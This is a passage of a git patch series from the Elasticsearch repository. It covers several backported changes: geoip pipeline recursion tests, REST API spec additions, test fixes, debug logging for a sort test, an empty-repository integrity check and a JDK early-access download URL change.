+                new PipelineConfiguration("innerInnerPipeline", new BytesArray(innerInnerPipelineJson), XContentType.JSON),
+                "innerPipeline",
+                new PipelineConfiguration("innerPipeline", new BytesArray(innerPipelineJson), XContentType.JSON),
+                "outerPipeline",
+                new PipelineConfiguration("outerPipeline", new BytesArray(outerPipelineJson), XContentType.JSON)
+            )
+        );
+        // The pipeline is not used in any index, expected to return false.
+        var projectMetadata = projectMetadataWithIndex(b -> {}, ingestMetadata);
+        assertFalse(GeoIpDownloaderTaskExecutor.hasAtLeastOneGeoipProcessor(projectMetadata));
+
+        // The pipeline is set as default pipeline in an index, expected to return true.
+        projectMetadata = projectMetadataWithIndex(b -> b.put(IndexSettings.DEFAULT_PIPELINE.getKey(), "outerPipeline"), ingestMetadata);
+        assertTrue(GeoIpDownloaderTaskExecutor.hasAtLeastOneGeoipProcessor(projectMetadata));
+
+        // The pipeline is set as final pipeline in an index, expected to return true.
+        projectMetadata = projectMetadataWithIndex(b -> b.put(IndexSettings.FINAL_PIPELINE.getKey(), "outerPipeline"), ingestMetadata);
+        assertTrue(GeoIpDownloaderTaskExecutor.hasAtLeastOneGeoipProcessor(projectMetadata));
+    }
+
+    public void testHasAtLeastOneGeoipProcessorRecursion() throws IOException {
+        /*
+         * The pipeline in this test is invalid -- it has a cycle from outerPipeline -> innerPipeline -> innerInnerPipeline ->
+         * innerPipeline. Since this method is called at server startup, we want to make sure that we don't get a StackOverFlowError and
+         * that we don't throw any kind of validation exception (since that would be an unexpected change of behavior).
+         */
+        String innerInnerPipelineJson = """
+            {
+              "processors":[""" + getGeoIpProcessor(false) + """
+              , {"pipeline": {"name": "innerPipeline"}}
+              ]
+            }
+            """;
+        String innerPipelineJson = """
+                        {
+              "processors":[{"pipeline": {"name": "innerInnerPipeline"}}
+              ]
+            }
+            """;
+        String outerPipelineJson = """
+                        {
+              "processors":[{"pipeline": {"name": "innerPipeline"}}
+              ]
+            }
+            """;
+        IngestMetadata ingestMetadata = new IngestMetadata(
+            Map.of(
+                "innerInnerPipeline",
+                new PipelineConfiguration("innerInnerPipeline", new BytesArray(innerInnerPipelineJson), XContentType.JSON),
+                "innerPipeline",
+                new PipelineConfiguration("innerPipeline", new BytesArray(innerPipelineJson), XContentType.JSON),
+                "outerPipeline",
+                new PipelineConfiguration("outerPipeline", new BytesArray(outerPipelineJson), XContentType.JSON)
+            )
+        );
+        // The pipeline is not used in any index, expected to return false.
+        var projectMetadata = projectMetadataWithIndex(b -> {}, ingestMetadata);
+        assertFalse(GeoIpDownloaderTaskExecutor.hasAtLeastOneGeoipProcessor(projectMetadata));
+
+        // The pipeline is set as default pipeline in an index, expected to return true.
+        projectMetadata = projectMetadataWithIndex(b -> b.put(IndexSettings.DEFAULT_PIPELINE.getKey(), "outerPipeline"), ingestMetadata);
+        assertTrue(GeoIpDownloaderTaskExecutor.hasAtLeastOneGeoipProcessor(projectMetadata));
+
+        // The pipeline is set as final pipeline in an index, expected to return true.
+        projectMetadata = projectMetadataWithIndex(b -> b.put(IndexSettings.FINAL_PIPELINE.getKey(), "outerPipeline"), ingestMetadata);
+        assertTrue(GeoIpDownloaderTaskExecutor.hasAtLeastOneGeoipProcessor(projectMetadata));
+    }
+
     public void testHasAtLeastOneGeoipProcessor() throws IOException {
         var projectId = Metadata.DEFAULT_PROJECT_ID;
         List<String> expectHitsInputs = getPipelinesWithGeoIpProcessors(true);

From d44f8a39c637e337c5a9589e7e8c812590fa4ada Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Tue, 22 Jul 2025 12:08:08 +0400
Subject: [PATCH 201/299] Add inference.put_custom rest-api-spec (#131660)
 (#131666)

---
 .../api/inference.put_custom.json             | 35 +++++++++++++++++++
 1 file changed, 35 insertions(+)
 create mode 100644 rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_custom.json

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_custom.json b/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_custom.json
new file mode 100644
index 0000000000000..c12108683d380
--- /dev/null
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_custom.json
@@ -0,0 +1,35 @@
+{
+  "inference.put_custom": {
+    "documentation": {
+      "url": "https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put-custom",
+      "description": "Configure a custom inference endpoint"
+    },
+    "stability": "stable",
+    "visibility": "public",
+    "headers": {
+      "accept": ["application/json"],
+      "content_type": ["application/json"]
+    },
+    "url": {
+      "paths": [
+        {
+          "path": "/_inference/{task_type}/{custom_inference_id}",
+          "methods": ["PUT"],
+          "parts": {
+            "task_type": {
+              "type": "string",
+              "description": "The task type"
+            },
+            "custom_inference_id": {
+              "type": "string",
+              "description": "The inference Id"
+            }
+          }
+        }
+      ]
+    },
+    "body": {
+      "description": "The inference endpoint's task and service settings"
+    }
+  }
+}

From fa13ed7602a3f38015c7faa5a2c1f96068572216 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Tue, 22 Jul 2025 12:21:42 +0400
Subject: [PATCH 202/299] add missing format param (#130317) (#131670)

(cherry picked from commit 9f24b2ae3ed6cc52e78f4695f1f76367616d18b9)

Co-authored-by: Laura Trotta <153528055+l-trotta@users.noreply.github.com>
---
 .../resources/rest-api-spec/api/esql.async_query_get.json     | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/esql.async_query_get.json b/rest-api-spec/src/main/resources/rest-api-spec/api/esql.async_query_get.json
index c4670758f7fe9..671a8dff42d2c 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/esql.async_query_get.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/esql.async_query_get.json
@@ -26,6 +26,10 @@
       ]
     },
     "params":{
+      "format":{
+        "type":"string",
+        "description":"a short version of the Accept header, e.g. json, yaml"
+      },
       "wait_for_completion_timeout":{
         "type":"time",
         "description":"Specify the time that the request should block waiting for the final response"

From 5004e3911df4e5afd41dba6ed290997a4baed32b Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Tue, 22 Jul 2025 11:36:35 +0300
Subject: [PATCH 203/299] TEST Fix ThreadPoolMergeSchedulerStressTestIT
 testMergingFallsBehindAndThenCatchesUp (#131636) (#131674)

This addresses an unfounded test assumption that a merge following refreshes is a noop.
Refreshes might trigger a merge, but segments can be part of a single merge task at a time so it's possible that after multiple independent merges finish, if the TieredMergePolicy is invoked again it might still find yet another merge to run.

Fixes #131262
---
 .../ThreadPoolMergeSchedulerStressTestIT.java | 27 +++++--------------
 .../ThreadPoolMergeExecutorServiceTests.java  |  1 +
 2 files changed, 8 insertions(+), 20 deletions(-)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerStressTestIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerStressTestIT.java
index 9129292d43837..41a05202b2357 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerStressTestIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerStressTestIT.java
@@ -16,6 +16,7 @@
 import org.elasticsearch.action.admin.indices.segments.IndexShardSegments;
 import org.elasticsearch.action.admin.indices.segments.IndicesSegmentResponse;
 import org.elasticsearch.action.admin.indices.segments.ShardSegments;
+import org.elasticsearch.action.admin.indices.stats.IndicesStatsResponse;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.util.CollectionUtils;
 import org.elasticsearch.common.util.concurrent.ConcurrentCollections;
@@ -44,6 +45,7 @@
 import java.util.concurrent.atomic.AtomicReference;
 
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAllSuccessful;
+import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.instanceOf;
 import static org.hamcrest.Matchers.is;
@@ -272,12 +274,11 @@ public void testMergingFallsBehindAndThenCatchesUp() throws Exception {
             assertThat(testEnginePlugin.enqueuedMergesSet.size(), is(0));
             testEnginePlugin.mergeExecutorServiceReference.get().allDone();
         }, 1, TimeUnit.MINUTES);
-        var segmentsCountAfterMergingCaughtUp = getSegmentsCountForAllShards("index");
-        // force merge should be a noop after all available merging was done
-        assertAllSuccessful(indicesAdmin().prepareForceMerge("index").get());
-        var segmentsCountAfterForceMerge = getSegmentsCountForAllShards("index");
-        assertThat(segmentsCountAfterForceMerge, is(segmentsCountAfterMergingCaughtUp));
-        // let's also run a force-merge to 1 segment
+        // indices stats says that no merge is currently running (meaning merging did catch up)
+        IndicesStatsResponse indicesStatsResponse = client().admin().indices().prepareStats("index").setMerge(true).get();
+        long currentMergeCount = indicesStatsResponse.getIndices().get("index").getPrimaries().merge.getCurrent();
+        assertThat(currentMergeCount, equalTo(0L));
+        // run a force-merge to 1 segment to make sure nothing is broken
         assertAllSuccessful(indicesAdmin().prepareForceMerge("index").setMaxNumSegments(1).get());
         assertAllSuccessful(indicesAdmin().prepareRefresh("index").get());
         // assert one segment per shard
@@ -292,20 +293,6 @@ public void testMergingFallsBehindAndThenCatchesUp() throws Exception {
         }
     }
 
-    private int getSegmentsCountForAllShards(String indexName) {
-        // refresh, otherwise we'd be still seeing the old merged-away segments
-        assertAllSuccessful(indicesAdmin().prepareRefresh(indexName).get());
-        int count = 0;
-        IndicesSegmentResponse indicesSegmentResponse = indicesAdmin().prepareSegments(indexName).get();
-        Iterator<IndexShardSegments> indexShardSegmentsIterator = indicesSegmentResponse.getIndices().get(indexName).iterator();
-        while (indexShardSegmentsIterator.hasNext()) {
-            for (ShardSegments segments : indexShardSegmentsIterator.next()) {
-                count += segments.getSegments().size();
-            }
-        }
-        return count;
-    }
-
     private TestEnginePlugin getTestEnginePlugin() {
         return getInstanceFromNode(PluginsService.class).filterPlugins(TestEnginePlugin.class).toList().get(0);
     }
diff --git a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java
index 2f3494ebb065d..2417ee3abf8d2 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java
@@ -328,6 +328,7 @@ public void testIORateIsAdjustedForAllRunningMergeTasks() throws Exception {
             ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) testThreadPool.executor(ThreadPool.Names.MERGE);
             Semaphore runMergeSemaphore = new Semaphore(0);
             Set<MergeTask> currentlyRunningMergeTasksSet = ConcurrentCollections.newConcurrentSet();
+
             while (mergesStillToComplete > 0) {
                 if (mergesStillToSubmit > 0 && (currentlyRunningMergeTasksSet.isEmpty() || randomBoolean())) {
                     MergeTask mergeTask = mock(MergeTask.class);

From 854125cf5dcb659caf2dee035aa94efe60046ee0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Christoph=20B=C3=BCscher?= <christophbuescher@posteo.de>
Date: Tue, 22 Jul 2025 12:19:15 +0200
Subject: [PATCH 204/299] Tests: Add logging to FieldSortIT (#131558) (#131612)

In order to better understand the infrequent failures in #129445 and
in the hope to reproduce the issue better, this PR adds logging
around which shards and nodes documents end up in
FieldSortIT#testSortMixedFieldTypes and increases the log level for
this test suite in the o.e.search packages to TRACE and in some
action.search packages to DEBUG to better understand where exceptions
are thrown and to better trace how resources are released after that.

Relates to #129445
---
 .../search/sort/FieldSortIT.java              | 27 +++++++++++++++-
 .../action/search/SearchPhaseController.java  | 31 ++++++++++++-------
 .../SearchQueryThenFetchAsyncAction.java      |  2 ++
 3 files changed, 48 insertions(+), 12 deletions(-)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/search/sort/FieldSortIT.java b/server/src/internalClusterTest/java/org/elasticsearch/search/sort/FieldSortIT.java
index 2cd610f204d9e..97da362eebe82 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/search/sort/FieldSortIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/search/sort/FieldSortIT.java
@@ -9,6 +9,7 @@
 
 package org.elasticsearch.search.sort;
 
+import org.apache.http.util.EntityUtils;
 import org.apache.lucene.tests.util.TestUtil;
 import org.apache.lucene.util.BytesRef;
 import org.apache.lucene.util.UnicodeUtil;
@@ -20,6 +21,9 @@
 import org.elasticsearch.action.search.SearchRequestBuilder;
 import org.elasticsearch.action.search.SearchResponse;
 import org.elasticsearch.action.search.ShardSearchFailure;
+import org.elasticsearch.client.Request;
+import org.elasticsearch.client.Response;
+import org.elasticsearch.client.RestClient;
 import org.elasticsearch.cluster.metadata.IndexMetadata;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Strings;
@@ -36,6 +40,7 @@
 import org.elasticsearch.search.SearchHits;
 import org.elasticsearch.test.ESIntegTestCase;
 import org.elasticsearch.test.InternalSettingsPlugin;
+import org.elasticsearch.test.junit.annotations.TestIssueLogging;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.XContentFactory;
 import org.elasticsearch.xcontent.XContentType;
@@ -84,6 +89,12 @@
 import static org.hamcrest.Matchers.not;
 import static org.hamcrest.Matchers.nullValue;
 
+@TestIssueLogging(
+    issueUrl = "https://github.com/elastic/elasticsearch/issues/129445",
+    value = "org.elasticsearch.action.search.SearchQueryThenFetchAsyncAction:DEBUG,"
+        + "org.elasticsearch.action.search.SearchPhaseController:DEBUG,"
+        + "org.elasticsearch.search:TRACE"
+)
 public class FieldSortIT extends ESIntegTestCase {
     public static class CustomScriptPlugin extends MockScriptPlugin {
         @Override
@@ -112,6 +123,10 @@ protected Collection<Class<? extends Plugin>> nodePlugins() {
         return Arrays.asList(InternalSettingsPlugin.class, CustomScriptPlugin.class);
     }
 
+    protected boolean addMockHttpTransport() {
+        return false;
+    }
+
     public void testIssue8226() {
         int numIndices = between(5, 10);
         final boolean useMapping = randomBoolean();
@@ -2145,7 +2160,7 @@ public void testLongSortOptimizationCorrectResults() {
         );
     }
 
-    public void testSortMixedFieldTypes() {
+    public void testSortMixedFieldTypes() throws IOException {
         assertAcked(
             prepareCreate("index_long").setMapping("foo", "type=long"),
             prepareCreate("index_integer").setMapping("foo", "type=integer"),
@@ -2159,6 +2174,16 @@ public void testSortMixedFieldTypes() {
         prepareIndex("index_keyword").setId("1").setSource("foo", "123").get();
         refresh();
 
+        // for debugging, we try to see where the documents are located
+        try (RestClient restClient = createRestClient()) {
+            Request checkShardsRequest = new Request(
+                "GET",
+                "/_cat/shards/index_long,index_double,index_keyword?format=json&h=index,node,shard,prirep,state,docs,index"
+            );
+            Response response = restClient.performRequest(checkShardsRequest);
+            logger.info("FieldSortIT#testSortMixedFieldTypes document distribution: " + EntityUtils.toString(response.getEntity()));
+        }
+
         { // mixing long and integer types is ok, as we convert integer sort to long sort
             assertNoFailures(prepareSearch("index_long", "index_integer").addSort(new FieldSortBuilder("foo")).setSize(10));
         }
diff --git a/server/src/main/java/org/elasticsearch/action/search/SearchPhaseController.java b/server/src/main/java/org/elasticsearch/action/search/SearchPhaseController.java
index 7339135fe93dc..2df4c05722908 100644
--- a/server/src/main/java/org/elasticsearch/action/search/SearchPhaseController.java
+++ b/server/src/main/java/org/elasticsearch/action/search/SearchPhaseController.java
@@ -9,6 +9,8 @@
 
 package org.elasticsearch.action.search;
 
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
 import org.apache.lucene.search.FieldDoc;
 import org.apache.lucene.search.ScoreDoc;
 import org.apache.lucene.search.Sort;
@@ -72,6 +74,8 @@
 
 public final class SearchPhaseController {
 
+    private static final Logger logger = LogManager.getLogger(SearchPhaseController.class);
+
     private final BiFunction<
         Supplier<Boolean>,
         AggregatorFactories.Builder,
@@ -153,17 +157,22 @@ static TopDocs mergeTopDocs(List<TopDocs> results, int topN, int from) {
             return topDocs;
         }
         final TopDocs mergedTopDocs;
-        if (topDocs instanceof TopFieldGroups firstTopDocs) {
-            final Sort sort = validateSameSortTypesAndMaybeRewrite(results, firstTopDocs.fields);
-            TopFieldGroups[] shardTopDocs = topDocsList.toArray(new TopFieldGroups[0]);
-            mergedTopDocs = TopFieldGroups.merge(sort, from, topN, shardTopDocs, false);
-        } else if (topDocs instanceof TopFieldDocs firstTopDocs) {
-            TopFieldDocs[] shardTopDocs = topDocsList.toArray(new TopFieldDocs[0]);
-            final Sort sort = validateSameSortTypesAndMaybeRewrite(results, firstTopDocs.fields);
-            mergedTopDocs = TopDocs.merge(sort, from, topN, shardTopDocs);
-        } else {
-            final TopDocs[] shardTopDocs = topDocsList.toArray(new TopDocs[0]);
-            mergedTopDocs = TopDocs.merge(from, topN, shardTopDocs);
+        try {
+            if (topDocs instanceof TopFieldGroups firstTopDocs) {
+                final Sort sort = validateSameSortTypesAndMaybeRewrite(results, firstTopDocs.fields);
+                TopFieldGroups[] shardTopDocs = topDocsList.toArray(new TopFieldGroups[0]);
+                mergedTopDocs = TopFieldGroups.merge(sort, from, topN, shardTopDocs, false);
+            } else if (topDocs instanceof TopFieldDocs firstTopDocs) {
+                TopFieldDocs[] shardTopDocs = topDocsList.toArray(new TopFieldDocs[0]);
+                final Sort sort = validateSameSortTypesAndMaybeRewrite(results, firstTopDocs.fields);
+                mergedTopDocs = TopDocs.merge(sort, from, topN, shardTopDocs);
+            } else {
+                final TopDocs[] shardTopDocs = topDocsList.toArray(new TopDocs[0]);
+                mergedTopDocs = TopDocs.merge(from, topN, shardTopDocs);
+            }
+        } catch (IllegalArgumentException e) {
+            logger.debug("Failed to merge top docs: ", e);
+            throw e;
         }
         return mergedTopDocs;
     }
diff --git a/server/src/main/java/org/elasticsearch/action/search/SearchQueryThenFetchAsyncAction.java b/server/src/main/java/org/elasticsearch/action/search/SearchQueryThenFetchAsyncAction.java
index f0be39208c902..8d763698c63c0 100644
--- a/server/src/main/java/org/elasticsearch/action/search/SearchQueryThenFetchAsyncAction.java
+++ b/server/src/main/java/org/elasticsearch/action/search/SearchQueryThenFetchAsyncAction.java
@@ -457,6 +457,7 @@ protected void doRun(Map<SearchShardIterator, Integer> shardIndexMap) {
                 executeAsSingleRequest(routing, request.shards.getFirst());
                 return;
             }
+            String nodeId = routing.nodeId();
             final Transport.Connection connection;
             try {
                 connection = getConnection(routing.clusterAlias(), routing.nodeId());
@@ -508,6 +509,7 @@ public void handleResponse(NodeQueryResponse response) {
                     @Override
                     public void handleException(TransportException e) {
                         Exception cause = (Exception) ExceptionsHelper.unwrapCause(e);
+                        logger.debug("handling node search exception coming from [" + nodeId + "]", cause);
                         if (e instanceof SendRequestTransportException || cause instanceof TaskCancelledException) {
                             // two possible special cases here where we do not want to fail the phase:
                             // failure to send out the request -> handle things the same way a shard would fail with unbatched execution

From 0067170239a6ff4c830c6fd836d6669ac1f0d010 Mon Sep 17 00:00:00 2001
From: David Turner <david.turner@elastic.co>
Date: Tue, 22 Jul 2025 14:02:54 +0100
Subject: [PATCH 205/299] Throw better exception if verifying empty repo
 (#131683)

Today if you attempt to verify the integrity of a brand-new repository
(no `index-${N}` blob) then it will fail because the repository
generation is `-1` which cannot be sent over the wire. But it makes no
sense to verify the integrity of such a repository anyway, so with this
commit we fail such requests up-front with a more helpful error message.

Backport of #131677 to `9.1`
---
 docs/changelog/131677.yaml                    |  5 +++
 .../RepositoryVerifyIntegrityIT.java          | 18 ++++++++++
 ...nsportRepositoryVerifyIntegrityAction.java | 14 ++++++++
 ...tRepositoryVerifyIntegrityActionTests.java | 35 +++++++++++++++++++
 4 files changed, 72 insertions(+)
 create mode 100644 docs/changelog/131677.yaml
 create mode 100644 x-pack/plugin/snapshot-repo-test-kit/src/test/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityActionTests.java

diff --git a/docs/changelog/131677.yaml b/docs/changelog/131677.yaml
new file mode 100644
index 0000000000000..5c707a44ebe0f
--- /dev/null
+++ b/docs/changelog/131677.yaml
@@ -0,0 +1,5 @@
+pr: 131677
+summary: Throw better exception if verifying empty repo
+area: Snapshot/Restore
+type: bug
+issues: []
diff --git a/x-pack/plugin/snapshot-repo-test-kit/src/internalClusterTest/java/org/elasticsearch/repositories/blobstore/testkit/integrity/RepositoryVerifyIntegrityIT.java b/x-pack/plugin/snapshot-repo-test-kit/src/internalClusterTest/java/org/elasticsearch/repositories/blobstore/testkit/integrity/RepositoryVerifyIntegrityIT.java
index 298dcd9ed94c5..e446a5000b7bb 100644
--- a/x-pack/plugin/snapshot-repo-test-kit/src/internalClusterTest/java/org/elasticsearch/repositories/blobstore/testkit/integrity/RepositoryVerifyIntegrityIT.java
+++ b/x-pack/plugin/snapshot-repo-test-kit/src/internalClusterTest/java/org/elasticsearch/repositories/blobstore/testkit/integrity/RepositoryVerifyIntegrityIT.java
@@ -14,6 +14,7 @@
 import org.elasticsearch.action.support.SubscribableListener;
 import org.elasticsearch.client.Request;
 import org.elasticsearch.client.Response;
+import org.elasticsearch.client.ResponseException;
 import org.elasticsearch.common.bytes.BytesReference;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.unit.ByteSizeValue;
@@ -35,6 +36,7 @@
 import org.elasticsearch.repositories.blobstore.RepositoryFileType;
 import org.elasticsearch.repositories.blobstore.testkit.SnapshotRepositoryTestKit;
 import org.elasticsearch.repositories.fs.FsRepository;
+import org.elasticsearch.rest.RestStatus;
 import org.elasticsearch.snapshots.AbstractSnapshotIntegTestCase;
 import org.elasticsearch.snapshots.SnapshotId;
 import org.elasticsearch.snapshots.SnapshotInfo;
@@ -73,6 +75,7 @@
 import static org.elasticsearch.repositories.blobstore.BlobStoreRepository.SNAPSHOT_FORMAT;
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.hamcrest.Matchers.allOf;
+import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.empty;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
@@ -713,6 +716,21 @@ public void testBlobInSnapshotNotShardGeneration() throws IOException {
         }, "blob in snapshot but not shard generation");
     }
 
+    public void testFreshRepository() {
+        final var repositoryName = randomIdentifier();
+        final var repositoryRootPath = randomRepoPath();
+
+        createRepository(repositoryName, FsRepository.TYPE, repositoryRootPath);
+        try {
+            final var request = new Request("POST", "/_snapshot/" + repositoryName + "/_verify_integrity");
+            final var responseException = expectThrows(ResponseException.class, () -> getRestClient().performRequest(request));
+            assertEquals(RestStatus.BAD_REQUEST.getStatus(), responseException.getResponse().getStatusLine().getStatusCode());
+            assertThat(responseException.getMessage(), containsString("repository is empty, cannot verify its integrity"));
+        } finally {
+            deleteRepository(repositoryName);
+        }
+    }
+
     private void runInconsistentShardGenerationBlobTest(
         TestContext testContext,
         UnaryOperator<BlobStoreIndexShardSnapshots> shardGenerationUpdater,
diff --git a/x-pack/plugin/snapshot-repo-test-kit/src/main/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityAction.java b/x-pack/plugin/snapshot-repo-test-kit/src/main/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityAction.java
index 57f77cb8441d7..b2cfd7e4f91bb 100644
--- a/x-pack/plugin/snapshot-repo-test-kit/src/main/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityAction.java
+++ b/x-pack/plugin/snapshot-repo-test-kit/src/main/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityAction.java
@@ -132,6 +132,7 @@ public void writeResponseChunk(RepositoryVerifyIntegrityResponseChunk responseCh
 
             .<RepositoryData>newForked(l -> repository.getRepositoryData(executor, l))
             .andThenApply(repositoryData -> {
+                ensureValidGenId(repositoryData.getGenId());
                 final var cancellableThreads = new CancellableThreads();
                 task.addListener(() -> cancellableThreads.cancel("task cancelled"));
                 final var verifier = new RepositoryIntegrityVerifier(
@@ -155,4 +156,17 @@ public void writeResponseChunk(RepositoryVerifyIntegrityResponseChunk responseCh
             .<RepositoryVerifyIntegrityResponse>andThen((l, repositoryIntegrityVerifier) -> repositoryIntegrityVerifier.start(l))
             .addListener(listener);
     }
+
+    static void ensureValidGenId(long repositoryGenId) {
+        if (repositoryGenId == RepositoryData.EMPTY_REPO_GEN) {
+            throw new IllegalArgumentException("repository is empty, cannot verify its integrity");
+        }
+        if (repositoryGenId < 0) {
+            final var exception = new IllegalStateException(
+                "repository is in an unexpected state [" + repositoryGenId + "], cannot verify its integrity"
+            );
+            assert false : exception; // cannot be unknown, and if corrupt we throw a corruptedStateException from getRepositoryData
+            throw exception;
+        }
+    }
 }
diff --git a/x-pack/plugin/snapshot-repo-test-kit/src/test/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityActionTests.java b/x-pack/plugin/snapshot-repo-test-kit/src/test/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityActionTests.java
new file mode 100644
index 0000000000000..9eeee8ba6e24b
--- /dev/null
+++ b/x-pack/plugin/snapshot-repo-test-kit/src/test/java/org/elasticsearch/repositories/blobstore/testkit/integrity/TransportRepositoryVerifyIntegrityActionTests.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.repositories.blobstore.testkit.integrity;
+
+import org.elasticsearch.repositories.RepositoryData;
+import org.elasticsearch.test.ESTestCase;
+
+import static org.hamcrest.Matchers.equalTo;
+
+public class TransportRepositoryVerifyIntegrityActionTests extends ESTestCase {
+    public void testEnsureValidGenId() {
+        TransportRepositoryVerifyIntegrityAction.ensureValidGenId(0);
+        TransportRepositoryVerifyIntegrityAction.ensureValidGenId(randomNonNegativeLong());
+        assertThat(
+            expectThrows(
+                IllegalArgumentException.class,
+                () -> TransportRepositoryVerifyIntegrityAction.ensureValidGenId(RepositoryData.EMPTY_REPO_GEN)
+            ).getMessage(),
+            equalTo("repository is empty, cannot verify its integrity")
+        );
+        assertThat(expectThrows(IllegalStateException.class, () -> {
+            try {
+                TransportRepositoryVerifyIntegrityAction.ensureValidGenId(RepositoryData.CORRUPTED_REPO_GEN);
+            } catch (AssertionError e) {
+                // if assertions disabled, we throw the cause directly
+                throw e.getCause();
+            }
+        }).getMessage(), equalTo("repository is in an unexpected state [-3], cannot verify its integrity"));
+    }
+}

From d97c68f51eb91a2db1c223f8111b662e78f98d8a Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Tue, 22 Jul 2025 09:37:26 -0400
Subject: [PATCH 206/299] [jdk] Resolve EA OpenJDK builds to our JDK archive
 (#131237) (#131642)

(cherry picked from commit 47e05246df7e1a4c99a0c82b8b0266bb74dd14e2)
---
 .../OracleOpenJdkToolchainResolver.java       | 10 ++++-
 .../OracleOpenJdkToolchainResolverSpec.groovy | 42 +++++++++----------
 .../junit/listeners/ReproduceInfoPrinter.java |  3 ++
 3 files changed, 32 insertions(+), 23 deletions(-)

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java
index 41a47ece90d5d..cfd2d5c1cda7e 100644
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java
+++ b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolver.java
@@ -61,11 +61,17 @@ public String url(String os, String arch, String extension) {
     record EarlyAccessJdkBuild(JavaLanguageVersion languageVersion, String buildNumber) implements JdkBuild {
         @Override
         public String url(String os, String arch, String extension) {
-            return "https://download.java.net/java/early_access/jdk"
+            // example:
+            // http://builds.es-jdk-archive.com/jdks/openjdk/26/openjdk-26-ea+6/openjdk-26-ea+6_linux-aarch64_bin.tar.gz
+            return "http://builds.es-jdk-archive.com/jdks/openjdk/"
                 + languageVersion.asInt()
                 + "/"
+                + "openjdk-"
+                + languageVersion.asInt()
+                + "-ea+"
                 + buildNumber
-                + "/GPL/openjdk-"
+                + "/"
+                + "openjdk-"
                 + languageVersion.asInt()
                 + "-ea+"
                 + buildNumber
diff --git a/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy b/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy
index 9de9cea65a393..8000316da36ac 100644
--- a/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy
+++ b/build-tools-internal/src/test/groovy/org/elasticsearch/gradle/internal/toolchain/OracleOpenJdkToolchainResolverSpec.groovy
@@ -67,16 +67,16 @@ class OracleOpenJdkToolchainResolverSpec extends AbstractToolchainResolverSpec {
          [24, anyVendor(), LINUX, AARCH64, "https://download.oracle.com/java/GA/jdk24/1f9ff9062db4449d8ca828c504ffae90/36/GPL/openjdk-24_linux-aarch64_bin.tar.gz"],
          [24, anyVendor(), WINDOWS, X86_64, "https://download.oracle.com/java/GA/jdk24/1f9ff9062db4449d8ca828c504ffae90/36/GPL/openjdk-24_windows-x64_bin.zip"],
          // EA build
